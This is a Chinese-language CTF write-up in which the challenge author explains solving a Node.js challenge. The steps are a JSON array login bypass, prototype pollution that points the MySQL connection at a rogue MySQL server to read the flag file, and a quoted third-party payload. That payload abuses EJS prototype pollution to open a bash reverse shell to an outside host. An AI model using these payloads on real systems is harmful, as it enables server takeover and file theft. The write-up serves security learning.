首先,出題背景是公司要求我出一道簡單的ctf題目,正好我最近在學習nodejs相關的東西,於是我就出了這道題目,題目源碼,我已經打包上傳到了GitHub上,地址是: https://github.com/niexinming/prototype_pullotion/
如果有興趣,可以下載下來,研究一下
這個題目開局是一個登陸頁面
在這裏你會想到什麼呢?爆破?nononono~
你要想到的是這是一道nodejs的題目啊,js本身就是一種弱類型語言,所以,你可以改變數據類型,來看看它會不會產生非預期的效果,你可以參考我以前翻譯的過的文章
https://blog.csdn.net/niexinming/article/details/84889275
這篇文章中就介紹如何通過改變數據類型來繞過登錄,所以,這個題目通過如下的方式就可以繞過登錄:
首先抓包:
然後,修改用戶名密碼爲數組,因爲用戶名和密碼都是數組的第一個,所以只要把用戶名和密碼改成
{“user”:[0],“passwd”:[0]},就可以繞過登錄
繞過登錄之後,發現有一個地址,打開這個地址:http://106.75.10.182:3000/kfhkhkdsdshalkhkhaklhlahlkkhdfklhhjkhgdajgfhjaghghjasgfjh//jflkdsajklfjsakljfjkhkjhdsfgasdyuuyueuwguguiuidgffddjfj.js
發現是nodejs後端的源碼:
可以看到這個題目可以通過控制host參數去改變mysql的連接地址,這裏有個mysql客戶端任意文件讀取的問題,可以參考這個文章:https://blog.csdn.net/ls1120704214/article/details/88174003
但是如果直接在json中傳遞{“host”:””},根本不會有任何效果,因爲我在57行寫了過濾
if (body.host != undefined) {
如果發現有直接傳遞進來的host參數,nodejs就報錯退出,所以,通過仔細觀察源代碼,發現這個代碼有參數污染問題,關於參數污染,可以參考這篇文章:
https://www.4hou.com/technology/16328.html
所以就可以通過構造如下參數去改變host參數,把host參數變成我們自己mysql服務器的地址
首先,我要先把我服務器中的Rogue-mysql-Server 的rogue_mysql_server.py 中的filelist改成flag的地址
然後啓動我的這個惡意的mysql服務器:
之後,我把host地址通過參數污染的方式改到我的這臺服務器:
發送數據包後,我的服務器中收到了一個請求:
然後,去查看日誌,就會看到flag
一個小插曲,因爲我剛剛接觸nodejs,所以,沒有意識到裏面其實有很多安全問題,我在出題的過程中錯誤的使用了nodejs的模板,導致Virink師傅用一個payload就把我的服務器給打下來了(拿下了服務器的控制權),通過跟virink 的交流我也學到了很多東西,最後我兌現了我的承諾,給師傅發了一個大紅包
下面是virink的payload,發出來給大家學習
{"user":"test","passwd":"test","__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xx/6666 0>&1\"');var __tmp2"}}
後來我把這個漏洞修復了,等了兩週,再也沒有人做出來